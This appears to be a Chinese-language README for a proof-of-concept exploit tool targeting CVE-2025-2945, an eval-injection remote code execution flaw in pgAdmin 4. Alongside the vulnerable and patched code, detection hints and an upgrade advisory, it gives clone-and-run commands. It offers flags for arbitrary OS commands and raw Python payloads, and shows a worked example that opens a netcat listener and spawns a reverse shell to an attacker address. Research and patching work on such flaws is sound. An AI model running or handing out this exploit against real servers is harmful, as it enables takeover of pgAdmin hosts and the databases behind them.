
CVSS 3.1:9.9(严重) · 影响范围: pgAdmin 4 8.10 – 9.1 · 修复版本: 9.2(2025年4月4日) CWE-95(动态求值代码中指令的不当中和 / 求值注入)
这是针对 CVE-2025-2945 的概念验证漏洞利用程序,该漏洞是 pgAdmin 4 查询工具中的一个认证远程代码执行漏洞。一个布尔事务状态标志(query_commited)被直接传入 Python 的 eval() 函数,而非被解析为布尔值,从而允许已认证用户以 pgAdmin 服务进程的权限执行任意 Python 代码——进而执行任意操作系统命令。同样的反模式在云部署模块的 Google 提供商(high_availability)中也出现了第二次。
涵盖根本原因、利用逻辑、检测指南和修复措施的完整技术文章可在此处获取: khashayarnazarkardeh.com — Field Notes
存在漏洞的代码(web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
修复后的代码(pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
该漏洞要求具备有效的 pgAdmin 认证会话,并且查询工具事务绑定到目标账户中已注册的数据库服务器。这两者在实际部署中都是常见的先决条件,因为 pgAdmin 通常预先配置了一个或多个已保存的服务器连接。
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <目标> --port 80 \
--username <pgadmin邮箱> --password <pgadmin密码> \
--db-user <数据库用户> --db-password <数据库密码> --db-name <数据库名> \
--cmd id
| 标志 | 描述 |
|---|---|
--cmd COMMAND | 通过 os.system() 执行单个操作系统命令 |
--reverse-shell HOST:PORT | 向您控制的监听器生成命名管道反向 Shell |
--raw-payload EXPR | 将原始 Python 表达式直接传递给存在漏洞的 eval() 汇点 |
# 在您的攻击主机上,另开一个终端:
nc -lvnp 4444
# 运行漏洞利用程序:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
防御者应监控以下内容:
/sqleditor/query_tool/download/<trans_id> 或 /cloud/deploy 的 POST 请求,其中 query_commited / high_availability 的值不是字面量 "true"、"false"、"1" 或 "0"。__import__、os.system、subprocess、eval、exec、open()。升级到 pgAdmin 4 9.2 或更高版本。该补丁是一个最小化、低风险的布尔强制转换修复。在无法立即打补丁的情况下,请限制 pgAdmin 的网络访问仅限于受信任的认证网络,并为不需要云部署模块的账户禁用该模块。
Khashayar Nazarkardeh — 网络安全与 AI 安全负责人 khashayarnazarkardeh.com · @Khashayarnzk
本工具仅供授权的安全测试、研究和教育目的使用。在未经系统所有者明确、书面授权的情况下对任何系统运行此工具,在大多数司法管辖区均属违法行为。作者不对本软件的滥用承担任何责任。使用本脚本即表示您同意自行负责确保您已获得测试目标的许可。